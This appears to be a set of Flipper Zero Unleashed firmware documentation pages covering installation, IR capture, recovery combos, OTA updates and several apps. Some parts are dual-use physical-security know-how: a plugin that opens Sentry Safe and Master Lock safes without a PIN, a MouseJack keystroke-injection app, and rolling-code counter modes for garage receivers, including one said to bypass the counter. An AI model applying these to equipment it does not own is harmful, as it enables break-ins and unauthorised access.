## With Flipper Lab - Web Updater
- Be sure you updated to latest official release before(only if installing for the first time), and verify that microSD card is installed
- Open latest release page - [Releases](https://github.com/DarkFlippers/unleashed-firmware/releases/latest)
- Connect your device and follow link - `Install via Web Updater`
after that on web updater page - press `Connect` button
- Press `Install` button
- And wait, if all flashed
successfully - you will have all needed assets pre installed
- Done
![web](https://user-images.githubusercontent.com/40743392/235005830-98ceda39-a143-47ef-ad4d-5489bc3df98b.png)
<br>
<br>
## With iOS mobile app
- Be sure you updated to latest official release before(only if installing for the first time), and verify that microSD card is installed
- Open latest release page - [Releases](https://github.com/DarkFlippers/unleashed-firmware/releases/latest)
- Download `flipper-z-f7-update-(version).tgz`
- Open downloads in ios Files app, select downloaded `.tgz` file, click Share, select Flipper App
- In flipper app click green `Update` button, be sure it shows `Custom flipper-z-f7-update...` in Update Channel
- Wait until update is finished
- Error in ios app will show up, but flipper will be updated successfully
- And if all flashed successfully - you will have all needed assets pre installed
- Done
![ios](https://user-images.githubusercontent.com/40743392/235005844-bea8f2fd-f50d-41b1-9191-e3842d8658d2.png)
<br>
<br>
## With Android mobile app (with .tgz download)
- Be sure you updated to latest official release before(only if installing for the first time), and verify that microSD card is installed
- Open latest release page - [Releases](https://github.com/DarkFlippers/unleashed-firmware/releases/latest)
- Download `flipper-z-f7-update-(version).tgz`
- In flipper app click `Update channel` button, select `Custom`
- Select downloaded `.tgz` file
- Click Update
- Wait until update is finished
- And if all flashed successfully - you will have all needed assets pre installed
- Done
![andro_tgz](https://user-images.githubusercontent.com/40743392/235005877-d4f5f73c-241c-4a7b-a51d-b8407983856c.png)
<br>
<br>
## With Android mobile app (via web updater link)
- Be sure you updated to latest official release before(only if installing for the first time), and verify that microSD card is installed
- Open latest release page - [Releases](https://github.com/DarkFlippers/unleashed-firmware/releases/latest)
- Click `Install via Web Updater`
- It will ask to open with browser or Flipper app, select Flipper App
- Continue to install
- Wait until update is finished
- And if all flashed successfully - you will have all needed assets pre installed
- Done
![androweb](https://user-images.githubusercontent.com/40743392/235005891-19ef6bb6-094f-437d-afcd-75d60921e3c4.png)
<br>
<br>
## With qFlipper (1.2.0+)
- Download qFlipper that allows `.tgz` installation [Download qFlipper (official link)](https://flipperzero.one/update)
- Be sure you updated to latest official release before(only if installing for the first time), and verify that microSD card is installed
- Open latest release page - [Releases](https://github.com/DarkFlippers/unleashed-firmware/releases/latest)
- Download `flipper-z-f7-update-(version).tgz`
- Launch qFlipper
- Connect your device and select `Install from file`
- Select `flipper-z-f7-update-(version).tgz` that you downloaded
- Update will start
- And wait, if all flashed successfully - you will have all needed assets pre installed
- Done
![qflip](https://user-images.githubusercontent.com/40743392/235005910-819abd34-65d4-4aaa-a11c-9c28bea737e9.png)
<br>
<br>
## With offline update on flipper
### **Replace (CURRENT VERSION) with version that you downloaded from releases**
- Unpack `flipper-z-f7-update-(CURRENT VERSION).tgz` (or `.zip`) into any free folder on your PC or smartphone
- You should find folder named `f7-update-(CURRENT VERSION)` that contains files like `update.fuf`, `resources.tar` and etc..
- Remove microSD card from flipper and insert it into PC or smartphone (you can skip this step and upload all files using qFlipper)
- Create new folder `update` on the root of the microSD card and move folder that you previously extracted from archive - `f7-update-(CURRENT VERSION)` into `update` on microSD card
- So result should look like `update/f7-update-(CURRENT VERSION)/` with all files in this folder on microSD card, remember iOS default Files app doesn't show all files properly (3 instead of 6), so you need to use another app for unpacking or use PC or Android
- Verify that all files are present on your microSD card
- After all you need to insert microSD card back into flipper, navigate into filebrowser, open this file
`update/f7-update-(CURRENT VERSION)/update.fuf`
- Update will start, wait for all stages
- Done
![manual](https://user-images.githubusercontent.com/40743392/235006410-19eaf58e-2425-4e8e-8ec9-973bda362c47.png)
<br>
<br>
# After install:
- ## [Read instructions how to use plugins and more](https://github.com/DarkFlippers/unleashed-firmware#instructions)
- ## [How To: Configure Sub-GHz Remote App](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/documentation/SubGHzRemotePlugin.md)

View File

@@ -1,83 +0,0 @@
# Infrared Captures
**Credits go to @gsurkov, @skotopes, @knrn-ai, @DrZlo13 and @ahumeniy for making and contributing to the original `UniversalRemotes.md` Documentation located [Here](https://github.com/flipperdevices/flipperzero-firmware/blob/dev/documentation/UniversalRemotes.md).**
**slightly adapted by @amec0e**
## Televisions, Fans, Audio and Projectors
Each signal is recorded using the following process:
1. Get the remote and point it to Flipper's IR receiver.
2. Start learning a new remote if it's the first button or press `+` to add a new button otherwise.
3. Do a Quick Press of a remote button and save it under a corresponding name. **(NOTE: Don't hold the remote button down, this will result in long captures and long playbacks ultimately slowing down the universal remotes performance)**
4. Repeat steps 2-3 until all required signals are saved.
The signal names are self-explanatory. Remember to make sure that every recorded signal does what it's supposed to.
**NOTE:** It's possible some devices around you will cause interference and may force your capture into raw data instead of a parsed code.
If you notice you get a parsed code when capturing it's best to click "Retry" a few times on the flipper when capturing to ensure the device is not suffering from any interference, and that the cleanest capture is possible.
## Types of data
**Parsed data**
This is the cleanest type of data because it means it is a recognized code.
```
name: EXAMPLE
type: parsed
protocol: NEC
address: 07 00 00 00
command: 02 00 00 00
```
**Raw Data**
With raw data its important not to hold the remotes button down when capturing on your flipper as this increases not only the size of the capture but the repeats and also how long it takes to send the signal back. Below is an ideal button capture.
```
#
name: EXAMPLE
type: raw
frequency: 38000
duty_cycle: 0.330000
data: 2410 597 1189 599 592 600 1186 602 589 603 1183 606 595 597 593 598 1208 605 596 596 594 597 593 599 592 25604 2403 604 1182 606 595 597 1189 599 591 601 1185 603 618 573 617 575 1211 602 588 603 588 605 596 596 594 25605 2402 604 1192 596 594 597 1189 599 592 601 1185 628 593 598 593 600 1186 602 589 603 588 604 597 595 596
```
**Capturing Raw Data:**
If you are sure your remote is using raw data the best way to capture it will be to do a quick button press **(don't hold the remotes button down)** and look at how many samples you get, the general idea here is to get the lowest amount of raw data samples captured (around 100 samples is about right) while making sure that the playback on the device is still working. This is usually accomplished by doing a quick button press on the remote when capturing.
## Air Conditioners
Air conditioners differ from most other infrared-controlled devices because their state is tracked by the remote.
The majority of A/C remotes have a small display that shows the current mode, temperature, and other settings.
When the user presses a button, a whole set of parameters is transmitted to the device, which must be recorded and used as a whole.
In order to capture a particular air conditioner, there is a particular process require to capturing and this is done using the following process:
1. Get the remote and press the **Power Button** so that the display shows that A/C is ON.
2. Set the A/C to the corresponding mode (see table below), leaving other parameters such as fan speed or vane on **AUTO** (if applicable).
3. Press the **POWER** button to switch the A/C off.
4. Start learning a new remote on Flipper if it's the first button or press `+` to add a new button otherwise.
5. Point the remote to Flipper's IR receiver as directed and press **POWER** button once again.
6. Save the resulting signal under the specified name.
7. Repeat steps 2-6 for each signal from the table below.
| Signal | Mode | Temperature | Note |
| :-----: | :--------: | :---------: | ----------------------------------- |
| Dh | Dehumidify | N/A | |
| Cool_hi | Cooling | See note | Lowest temperature in cooling mode |
| Cool_lo | Cooling | 23°C | |
| Heat_hi | Heating | See note | Highest temperature in heating mode |
| Heat_lo | Heating | 23°C | |
Finally, record the `Off` signal:
1. Make sure the display shows that the A/C is ON.
2. Start learning a new signal on Flipper and point the remote towards the IR receiver.
3. Press the **POWER** button so that the remote shows the OFF state.
4. Save the resulting signal under the name `Off`.
Test the file against the actual device. Make sure that every signal does what it's supposed to.

View File

@@ -1,119 +0,0 @@
# Key Combos {#key_combos}
There are times when your Flipper feels blue and doesn't respond to any of your commands due to a software issue. This guide will help you solve this problem.
## Basic combos
### Hardware reset
- Press `LEFT` and `BACK` and hold for a couple of seconds
- Release `LEFT` and `BACK`
This combo performs a hardware reset by pulling the MCU reset line down.
Main components involved: Keys → DD8(NC7SZ32M5X, OR-gate) → DD1(STM32WB55, MCU).
It won't work only in one case:
- The MCU debug block is active and holding the reset line from inside.
### Hardware Power Reset
- Disconnect the USB cable and any external power supplies
- Disconnect the USB once again
- Make sure you've disconnected the USB and any external power supplies
- Press `BACK` and hold for 30 seconds (this will only work with the USB disconnected)
- If you haven't disconnected the USB, then disconnect it and repeat the previous step
- Release the `BACK` key
This combo performs a reset by switching SYS power line off and then on.
Main components involved: Keys → DD6(bq25896, charger).
It won't work only in one case:
- Power supply is connected to USB or 5V_ext
### Software DFU
- Press `LEFT` on boot to enter DFU with Flipper boot-loader
It won't work only in one case:
- Flipper boot-loader is damaged or absent
### Hardware DFU
- Press `OK` on boot to enter DFU with ST boot-loader
It won't work only in one case:
- Option Bytes are damaged or set to ignore the `OK` key
## DFU combos
### Hardware Reset + Software DFU
- Press `LEFT` and `BACK` and hold for a couple of seconds
- Release `BACK`
- Device will enter DFU with an indication (Blue LED + DFU Screen)
- Release `LEFT`
This combo performs a hardware reset by pulling the MCU reset line down. Then, the `LEFT` key indicates to the boot-loader that DFU mode is requested.
It won't work in two cases:
- The MCU debug block is active and holding the reset line from inside
- Flipper boot-loader is damaged or absent
### Hardware Reset + Hardware DFU
- Press `LEFT`, `BACK` and `OK` and hold for a couple of seconds
- Release `BACK` and `LEFT`
- The device will enter DFU without an indication
This combo performs a hardware reset by pulling the MCU reset line down. Then, the `OK` key forces MCU to load the internal boot-loader.
It won't work in two cases:
- The MCU debug block is active and holding the reset line from inside
- Option Bytes are damaged or set to ignore the `OK` key
### Hardware Power Reset + Software DFU
- Disconnect the USB and any external power supplies
- Press `BACK` and `LEFT` for 30 seconds
- Release `BACK`
- The device will enter DFU with an indication (Blue LED + DFU Screen)
- Release `LEFT`
- Plug in the USB
This combo performs a reset by switching the SYS power line off and then on. Next, the `LEFT` key indicates to the boot-loader that DFU mode is requested.
It won't work in two cases:
- Power supply is connected to USB or 5V_ext
- Flipper boot-loader is damaged or absent
### Hardware Power Reset + Hardware DFU
- Disconnect the USB and any external power supplies
- Press `BACK` and `OK` and hold for 30 seconds
- Release `BACK` and `OK`
- The device will enter DFU without indication
- Plug in the USB
This combo performs a reset by switching the SYS power line off and then on. Next, the `OK` key forces MCU to load the internal boot-loader.
It won't work in two cases:
- Power supply is connected to USB or 5V_ext
- Option Bytes are damaged or set to ignore the `OK` key
# Alternative ways to recover your device
If none of the described methods helped you:
- Make sure the battery charged
- Disconnect the battery and connect again (requires disassembly)
- Try to flash the device with ST-Link or another programmer that supports SWD
If you're still here and your device is not working: it's not a software issue.

View File

@@ -1,23 +0,0 @@
# Reading RAW RFID data {#lfrfid_raw}
Flipper Zero has the option to read RAW data from 125 kHz cards that allows you to record the card's data and save it, similar to how a dictaphone records sound.
To use this function, you need to activate the Debug mode on your Flipper Zero by doing the following:
1. Go to **Main Menu****Settings****System**.
2. Set **Debug** to **ON**.
Once the Debug mode is activated on your Flipper Zero, you can read RAW data from 125 kHz RFID cards:
1. Go to **Main Menu****125 kHz RFID****Extra Actions**.
2. Select **RAW RFID** data and name the raw file.
3. Read instructions and press **OK**.
4. Apply the card to Flipper Zero's back.
5. Once the reading is finished, press **OK**.
Two files with data (with ASK and PSK modulations) will be saved in the `lfrfid` folder on the microSD card. Now, you can share it and the card's photo with developers by creating an issue on GitHub.

View File

@@ -1,61 +0,0 @@
# MultiConverter
## Author: [theisolinearchip](https://github.com/theisolinearchip/flipperzero_stuff/tree/main/applications/multi_converter)
An expanded version of my previous __Dec/Hex Converter__, this time allowing more units and a _(probably poorly made from a design-point-of-view)_ selector mode
to swap between different unit groups.
I wrote it with the idea of _expanding the unit list_ on mind, so adding new ones it's a matter of increasing an array of constants + defining the proper conversion functions.
(Actually the whole project is more about "making the framework" rather than providing _ALL_ of the possible units : D)
![Img 1](http://albertgonzalez.coffee/projects/flipperzero/multi_converter/img/1_small.png) ![Img 2](http://albertgonzalez.coffee/projects/flipperzero/multi_converter/img/2_small.png)
## Current conversions
- `Decimal / Hexadecimal / Binary`
- `Celsius / Fahrenheit / Kelvin`
- `Kilometers / Meters / Centimeters / Miles / Feet / Inches`
- `Degree / Radian`
## Usage
Base keyboard allows numbers from `0` to `F`, being disabled (or not) according to the current selected unit.
Long press on `0` toggles a __negative__ value; long press on `1` sets a __decimal point__ (only if allowed by the current selected unit).
`<` removes the last character; `#` changes to __Unit Select Mode__.
### Unit Select Mode
`Left` and `Right` to swap between __origin unit__ and __destination unit__ (notice the _destination_ will change according to the current selected _origin_).
`Ok` to save the changes and go back to the __Display Mode__; `Back` to go back without changing any unit.
## Adding new units
1. Add the new units in the `MultiConverterUnitType` enum on `multi_converter_definitions.h` (basic definitions header). Notice each enum element will be used as an array index later.
2. Increase the `MULTI_CONVERTER_AVAILABLE_UNITS` constant on `multi_converter_units.h` (units main header file).
3. Set a pair of functions for __converting__ units and to __check__ if a target unit is allowed to work with the destination unit (both on `multi_converter_units.h`
and `multi_converter_units.c`; follow the already built-in units for more info).
4. Add the proper `MultiConverterUnit` structs for each new unit.
5. Add each new struct to the main `multi_converter_available_units` array.
And that's it! The system will fetch the new units and display it!
## Known issues, TODO-list, etc.
This is an initial release, so expect some bugs and issues (also I don't work with C that much, so there're probably lots of things that can be improved and/or changed!).
- I've noticed some small decimal variations when "going deep" with some units (like converting __miles__ to __centimeters__ and things like that); probably due to the precision-level required. Need to check that.
- Pending: improve overflow checks.
- The way some long numbers are shown could probably be improved to look fancier.
- Both _origin_ and _destination buffers_ are the same. The destination one could probably be longer in order to avoid certain _overflow scenarios_.
- The GUI needs improvement too: there's a whole __widget/views system__ built in the Flipper that allows things like setting up keys, showing "Save/Back/Cancel" messages with
callbacks and stuff like that. Didn't know anything about them, so I moved on with something more basic (which is probably fine since it's not a "very big project"); but
a more "standard" way with the regular GUI stuff provided by the firmware will be interesting...
- More GUI stuff: the _long click buttons_ for adding a decimal point / negative number aren't very clear on the view itself (I tried to add a small dot / dash symbol, but I think those are small enough to be a little bit confusing)

View File

@@ -1,51 +0,0 @@
# flipperzero-nrf24
## Author: [mothball187](https://github.com/mothball187/flipperzero-nrf24/tree/main/mousejacker)
An [NRF24](https://www.sparkfun.com/datasheets/Components/SMD/nRF24L01Pluss_Preliminary_Product_Specification_v1_0.pdf) driver for the [Flipper Zero](https://flipperzero.one/) device. The NRF24 is a popular line of 2.4GHz radio transceivers from Nordic Semiconductors. This library is not currently complete, but functional.
# How to use
- Connect NRF24 to flipper using provided pinouts
- Open NRF24: Sniffer, and scan channels, switch between modes/channels using buttons
- When you got address -> Open NRF24: Mouse Jacker
- Select Address and open badusb file
- Done
# Demo (YouTube)
[![YouTube](https://img.youtube.com/vi/C5hbyAjuU4k/0.jpg)](https://www.youtube.com/watch?v=C5hbyAjuU4k)
## Warning
These apps are for **educational purposes** only. Please use this code responsibly and only use these apps on your own equipment.
## Acknowledgments
The NRF24 sniffing technique was discovered and shared by Travis Goodspeed in [his blog](http://travisgoodspeed.blogspot.com/2011/02/promiscuity-is-nrf24l01s-duty.html).
The mousejack vulnerabilities were discovered and reported by Marc Newlin, see [the blog](https://www.bastille.net/research/vulnerabilities/mousejack/technical-details) for technical details.
Much of the driver code was inspired by [RadioHead's Arduino library](https://www.airspayce.com/mikem/arduino/RadioHead/classRH__NRF24.html).
Much of the mousejack code was inspired by the [Jackit project](https://github.com/insecurityofthings/jackit).
# Pinout from from NoComp/Frog
<img src="https://media.discordapp.net/attachments/937479784726949900/994495234618687509/unknown.png?width=567&height=634">
# Mousejacker / NRF24 pinout by UberGuidoZ
2/A7 on FZ goes to MOSI/6 on nrf24l01<br>
3/A6 on FZ goes to MISO/7 on nrf24l01<br>
4/A4 on FZ goes to CSN/4 on nrf24l01<br>
5/B3 on FZ goes to SCK/5 on nrf24l01<br>
6/B2 on FZ goes to CE/3 on nrf24l01<br>
8/GND on FZ goes to GND/1 on nrf24l01<br>
9/3V3 on FZ goes to VCC/2 on nrf24l01<br>
IRQ/8 is left disconnected on nrf24l01<br>
![NRF_Pins](https://user-images.githubusercontent.com/57457139/178093717-39effd5c-ebe2-4253-b13c-70517d7902f9.png)
If the nRF module is acting a bit flakey, try adding a capacitor to the vcc/gnd lines!
I've not tried the Plus model so it may have a bigger need for a cap.
Otherwise, I haven't had any major issues.
Anything from a 3.3 uF to 10 uF should do. (Watch your positive/negative placement! Negative to ground.)
I learned if you wanna get fancy, include a 0.1 uF cap in parallel.
The 3.3 uF to 10 uF will respond to slow freq changes while the 0.1 uF will respond to the high freq switching spikes that the larger one cannot. That said, a single 10 uF will likely suffice for the Mousejack attack. ¯\\\_(ツ)_/¯
![NRF_Capacitor](https://user-images.githubusercontent.com/57457139/178169959-d030f9a6-d2ac-46af-af8b-470ff092c8a7.jpg)

View File

@@ -1,145 +0,0 @@
# Flipper Zero OTA update process {#ota_updates}
## Executing code from RAM
In Flipper firmware, we have a special boot mode that loads a specially crafted system image into RAM and transfers control to it. The system image executing in RAM has full write access to Flipper's entire flash memory — something that's not possible when running main code from the same flash.
We leverage that boot mode to perform OTA firmware updates, including operations on a radio stack running on the second MCU core.
## How does Flipper OTA work?
Installation of OTA updates goes through 3 stages:
### 1. Backing up internal storage (/int)
It is a special partition of Flipper's flash memory, taking up all available space not used by the firmware code. Newer versions of firmware may be of different size, and simply installing them would cause flash repartitioning and data loss.
So, before taking any action on the firmware, we back up the current configuration from `/int` into a plain tar archive on the SD card.
### 2. Performing device update
The main firmware loads an updater image — a customized build of the main Flipper firmware — into RAM and runs it. Updater performs operations on system flash as described by an Update manifest file.
First, if there's a Radio stack image bundled with the update, updater compares its version with the currently installed one. If they don't match, updater performs stack deinstallation followed by writing and installing a new one. The installation itself is performed by proprietary software FUS running on Core2, and leads to a series of system restarts.
Then, updater validates and corrects Option Bytes — a special memory region containing low-level configuration for Flipper's MCU.
After that, updater loads a `.dfu` file with firmware to be flashed, checks its integrity using CRC32, writes it to system flash and validates written data.
### 3. Restoring internal storage and updating resources
After performing operations on flash memory, the system restarts into newly flashed firmware. Then it performs restoration of previously backed up `/int` contents.
If the update package contains an additional resources archive, it is extracted onto the SD card.
## Update manifest
An update package comes with a manifest that contains a description of its contents. The manifest is in Flipper File Format — a simple text file, comprised of key-value pairs.
### Mandatory fields
An update manifest must contain the following keys in the given order:
- **Filetype**: a constant string, "Flipper firmware upgrade configuration".
- **Version**: manifest version. The current value is 2.
- **Info**: arbitrary string, describing package contents.
- **Target**: hardware revision for which the package is built.
- **Loader**: file name of stage 2 loader that is executed from RAM.
- **Loader CRC**: CRC32 of loader file. Note that it is represented in little-endian hex.
### Optional fields
Other fields may have empty values. In this case, updater skips all operations related to these values.
- **Radio**: file name of radio stack image, provided by STM.
- **Radio address**: address to install the radio stack at. It is specified in Release Notes by STM.
- **Radio version**: radio major, minor and sub versions followed by branch, release and stack type packed into 6 hex-encoded bytes.
- **Radio CRC**: CRC32 of radio image.
- **Resources**: file name of TAR archive with resources to be extracted onto the SD card.
- **OB reference**, **OB mask**, **OB write mask**: reference values for validating and correcting option bytes.
## OTA update error codes
We designed the OTA update process to be as fail-safe as possible. We don't start any risky operations before validating all related pieces of data to ensure we don't leave the device in a partially updated, or bricked, state.
Even if something goes wrong, updater allows you to retry failed operations and reports its state with an error code. These error codes have an `[XX-YY]` format, where `XX` encodes the failed operation, and `YY` contains extra details on its progress where the error occurred.
| Stage description | Code | Progress | Description |
| :---------------------: | -----: | ---------- | ------------------------------------------ |
| Loading update manifest | **1** | **13** | Updater reported hardware version mismatch |
| | | **20** | Failed to get saved manifest path |
| | | **30** | Failed to load manifest |
| | | **40** | Unsupported update package version |
| | | **50** | Package has mismatching HW target |
| | | **60** | Missing DFU file |
| | | **80** | Missing radio firmware file |
| Backing up configuration| **2** | **0-100** | FS read/write error |
| Checking radio FW | **3** | **0-99** | Error reading radio firmware file |
| | | **100** | CRC mismatch |
| Uninstalling radio FW | **4** | **0** | SHCI Delete command error |
| | | **80** | Error awaiting command status |
| Writing radio FW | **5** | **0-100** | Block read/write error |
| Installing radio FW | **6** | **10** | SHCI Install command error |
| | | **80** | Error awaiting command status |
| Core2 is busy | **7** | **10** | Couldn't start C2 |
| | | **20** | Failed to switch C2 to FUS mode |
| | | **30** | Error in FUS operation |
| | | **50** | Failed to switch C2 to stack mode |
| Validating opt. bytes | **8** | **yy** | Option byte code |
| Checking DFU file | **9** | **0** | Error opening DFU file |
| | | **1-98** | Error reading DFU file |
| | | **99-100** | Corrupted DFU file |
| Writing flash | **10** | **0-100** | Block read/write error |
| Validating flash | **11** | **0-100** | Block read/write error |
| Restoring configuration | **12** | **0-100** | FS read/write error |
| Updating resources | **13-15** | **0-100** | SD card read/write error |
## Building update packages
### Full package
To build a full update package, including firmware, radio stack and resources for the SD card, run:
`./fbt COMPACT=1 DEBUG=0 updater_package`
### Minimal package
To build a minimal update package, including only firmware, run:
`./fbt COMPACT=1 DEBUG=0 updater_minpackage`
### Customizing update bundles
Default update packages are built with Bluetooth Light stack.
You can pick a different stack if your firmware version supports it, and build a bundle with it by passing the stack type and binary name to `fbt`:
`./fbt updater_package COMPACT=1 DEBUG=0 COPRO_OB_DATA=scripts/ob_custradio.data COPRO_STACK_BIN=stm32wb5x_BLE_Stack_full_fw.bin COPRO_STACK_TYPE=ble_full`
Note that `COPRO_OB_DATA` must point to a valid file in the `scripts` folder containing reference Option Byte data matching your radio stack type.
In certain cases, you might have to confirm your intentions by adding `COPRO_DISCLAIMER=...` to the build command line.
### Building partial update packages
You can customize package contents by calling `scripts/update.py` directly.
For example, to build a package only for installing BLE FULL stack:
```shell
scripts/update.py generate \
-t f7 -d r13.3_full -v "BLE FULL 13.3" \
--stage dist/f7/flipper-z-f7-updater-*.bin \
--radio lib/stm32wb_copro/firmware/stm32wb5x_BLE_Stack_full_fw.bin \
--radiotype ble_full
```
For the full list of options, check `scripts/update.py generate` help.

View File

@@ -1,17 +0,0 @@
# Sentry Safe plugin
## Author: [H4ckd4ddy](https://github.com/H4ckd4ddy/flipperzero-sentry-safe-plugin)
Flipper zero exploiting vulnerability to open any Sentry Safe and Master Lock electronic safe without any pin code.
[Demo and Vulnerability described here](https://github.com/H4ckd4ddy/bypass-sentry-safe)
### Usage
- Start "Sentry Safe" plugin
- Place wires as described on the plugin screen
<br>(Flipper GPIO) 8/GND -> Black wire (Safe)
<br>(Flipper GPIO) 15/C1 -> Green wire (Safe)
- Press enter
- Open safe

View File

@@ -1,223 +0,0 @@
# SubGHz Counter Experimental Mode
## Overview
Experimental Counter Mode is an advanced feature that allows you to customize how rolling codes increment when transmitting SubGHz signals. Different protocols support different counter modes, which can be useful for specific cases, main purpose is to make clone of the original remote that will not conflict with original remote, so both Flipper and original remote can be used at same time in rolling code systems without desync or other issues.
**Be aware, do not experiment with equipment you don't have access to, if you are not sure what mode works for you and can't reprogram your original remote to the receiver - do not use these modes!!!**
In case you have access to the receiver and can do some tests, try some of these modes on your system and let us know how it works for you, in github issues or our communities, thanks!
## How to Use Experimental Counter Mode
To enable a specific counter mode, you need to manually edit your `.sub` file and add a `CounterMode` line.
### Steps:
1. Locate your `.sub` file (in `/ext/subghz/` on your Flipper Zero SD card)
2. Open the file in a text editor
3. Add the following line at the end of the file:
```
CounterMode: X
```
Where `X` is the mode number (0, 1, 2, etc.)
### Example .sub File:
```
Filetype: Flipper SubGhz Key File
Version: 1
Frequency: 433920000
Preset: FuriHalSubGhzPresetOok650Async
Protocol: Nice FloR-S
Bit: 52
Key: AA AA AA AA AA AA AA
CounterMode: 1
```
## Supported Protocols and Counter Modes
### 1. Nice Flor S
**Mode 0 (Default):**
- Standard - acts like regular remote
- Uses rolling counter multiplier from global settings (default +1)
- Counter increments based on the multiplier value (default +1)
- Resets to 0 when overflow occurs (> 0xFFFF)
**Mode 1 (floxi2r):**
- Counter sequence: `0x0001 / 0xFFFE`
- For receiver model floxi2r
**Mode 2 (ox2):**
- Counter sequence: `0x0000 / 0x0001`
- For receiver model ox2
---
### 2. Came Atomo
**Mode 0 (Default):**
- Standard - acts like regular remote
- Uses rolling counter multiplier from global settings (default +1)
- Counter increments based on the multiplier value (default +1)
- Resets to 0 when overflow occurs (> 0xFFFF)
**Mode 1:**
- Counter sequence: `0x0000 / 0x0001 / 0xFFFE / 0xFFFF`
- Works with external CAME RE432 receiver, may work with other type of receivers
**Mode 2:**
- Counter sequence: `0x807B / 0x807C / 0x007B / 0x007C`
- Works with external CAME RE432 receiver, may work with other type of receivers
**Mode 3:**
- Counter freeze - do not increment
---
### 3. Alutech AT-4N
**Mode 0 (Default):**
- Standard - acts like regular remote
- Uses rolling counter multiplier from global settings (default +1)
- Counter increments based on the multiplier value (default +1)
- Resets to 0 when overflow occurs (> 0xFFFF)
**Mode 1:**
- Counter sequence: `0x0000 / 0x0001 / 0xFFFE / 0xFFFF`
- For receiver model MCSW-3.3M
**Mode 2:**
- Counter sequence: `0x0000 / 0x0001 / 0x0002 / 0x0003 / 0x0004 / 0x0005`
- For other receiver boards
---
### 4. KeeLoq
**Mode 0 (Default):**
- Standard - acts like regular remote
- Uses rolling counter multiplier from global settings (default +1)
- Counter increments based on the multiplier value (default +1)
- Resets to 0 when overflow occurs (> 0xFFFF)
**Mode 1:**
- Counter sequence: `0x0000 / 0x0001 / 0xFFFE / 0xFFFF`
- Might work with some systems (let us know!)
**Mode 2:**
- Incremental mode: `+0x3333` each transmission
- Adds 0x3333 (13107 in decimal) to counter each time
- Might work with Doorhan, seen in some "universal remotes"
**Mode 3:**
- Counter sequence: `0x8006 / 0x8007 / 0x0006 / 0x0007`
- Might work with some systems like Hormann EcoStar
**Mode 4:**
- Counter sequence: `0x807B / 0x807C / 0x007B / 0x007C`
- Might work with some systems like Nice Smilo
**Mode 5:**
- Counter sequence: `0x0000 / 0xFFFF`
- Alternates between 0 and maximum value (65535)
- Might work with some systems (let us know!)
**Mode 6:**
- Counter freeze - do not increment
**Mode 7:**
- Incremental mode: `+0x3333` 5 times to current counter and return original value back adding +1 - 2 times - 7 signals in pack total
- Might work with Doorhan, seen in some "universal remotes"
- One click of Send button on flipper may bypass receiver counter, wait for full transmission
---
### 5. V2 Phoenix (Phox)
**Mode 0 (Default):**
- Standard - acts like regular remote
- Uses rolling counter multiplier from global settings (default +1)
- Counter increments based on the multiplier value (default +1)
- Resets to 0 when overflow occurs (> 0xFFFF)
**Mode 1 (ofex like):**
- Counter sequence: `0x0000 / 0x0001 / 0xFFFE / 0xFFFF`
- Verified as working
**Mode 2 (0 - 4):**
- Counter sequence: `0x0000 / 0x0001 / 0x0002 / 0x0003 / 0x0004`
- Might work (let us know!)
---
## Notes and Warnings
### Important Considerations:
1. **Default Behavior:**
- If you don't specify a `CounterMode`, Regular remote simulation (cnt +1) is used by default
- Regular remote simulation is the standard mode and works with most cases
2. **Protocol Compatibility:**
- Not all protocols support all counter modes
- Using an unsupported mode number may result in unexpected behavior
- Always test your configuration before relying on it
### Troubleshooting:
- If your file doesn't work after adding `CounterMode`:
1. Double-check the syntax: `CounterMode: X` (with space after colon)
2. Verify the mode number is valid for your protocol
---
## Example Configurations
### Example 1: Nice Flor S with Mode 1
```
Filetype: Flipper SubGhz Key File
Version: 1
Frequency: 433920000
Preset: FuriHalSubGhzPresetOok650Async
Protocol: Nice FloR-S
Bit: 52
Key: 01 23 45 67 89 AB CD
CounterMode: 1
```
### Example 2: KeeLoq with Mode 2 (+0x3333 (Doorhan))
```
Filetype: Flipper SubGhz Key File
Version: 1
Frequency: 433920000
Preset: FuriHalSubGhzPresetOok650Async
Protocol: KeeLoq
Bit: 64
Key: DE AD BE EF CA FE BA BE
Manufacture: Doorhan
CounterMode: 2
```
---
## FAQ
**Q: Will this damage my remote or receiver?**
A: Yes it may do that - depending on the receiver, it may desync your remote, be aware and don't experiment with equipment you don't have access to
**Q: Which mode should I use?**
A: Do not use those mods if you are not sure
**Q: What happens if I use an invalid mode number?**
A: Last mode from the list will be used
**Q: Do I need to add CounterMode to every .sub file?**
A: No, only add it if you need non-default behavior. Mode 0 is automatic if not specified.
---
*Made for Unleashed FW, please mention source when copying*

View File

@@ -1,76 +0,0 @@
# Sub-GHz Remote
# UPDATE!!!!!!
## Now you can create and edit map files directly on flipper, go into Sub-GHz Remote and click back button
<br>
<br>
<br>
### The SubGHz Remote Tool *requires* the creation of custom user map with `.txt` extension in the `subghz_remote` folder on the sdcard.
#### If these files are not exist or not configured properly, **you will receive an error each time you try to select wrong file in the UniRF Tool**.
## You can add as many `.txt` map files as you want, file name doesn't matter!
## Incorrect or unconfigured file error
If the `.txt` file has not been properly configured, the following error will be thrown when trying to run the UniRF Remix app:
```
Config is incorrect.
Please configure map
Press Back to Exit
```
## Setting up the `subghz_remote/example.txt` file:
```
UP: /ext/subghz/Up.sub
DOWN: /ext/subghz/Down.sub
LEFT: /ext/subghz/Left.sub
RIGHT: /ext/subghz/Right.sub
OK: /ext/subghz/Ok.sub
ULABEL: Up Label
DLABEL: Down Label
LLABEL: Left Label
RLABEL: Right Label
OKLABEL: Ok Label
```
The UP/DOWN/LEFT/RIGHT/OK file locations must be set to the specific file you want mapped to that directional pad direction.
The ULABEL/DLABEL/LLABEL/RLABEL/OKLABEL variables should be set to the text to be displayed for each of the files set earlier.
## Example:
```
UP: /ext/subghz/Fan1.sub
DOWN: /ext/subghz/Fan2.sub
LEFT: /ext/subghz/Door.sub
RIGHT: /ext/subghz/Garage3.sub
OK: /ext/subghz/Garage3l.sub
ULABEL: Fan ON
DLABEL: Fan OFF
LLABEL: Doorbell
RLABEL: Garage OPEN
OKLABEL: Garage CLOSE
```
## Notes
* ##### App Usage
- Press a button to send the assigned capture file.
- Press Back button to exit app.
* ##### SubGHz Remote Map
- File path should not have any spaces or special characters (- and _ excluded).
- Labels are limited to 16 characters.
- Why? This is to prevent overlapping elements on screen.
- For example: If you set your label or file to ```WWWWWWWWWWWWWWW``` you'll be over the screen limits.

View File

@@ -1,244 +0,0 @@
# How to use Flipper as a new SubGHz remote (not clone of original remote)
### If your system is not added here that doesn't mean flipper don't support it! Look into add manually menu, and search for your manufacturers inscturctions!
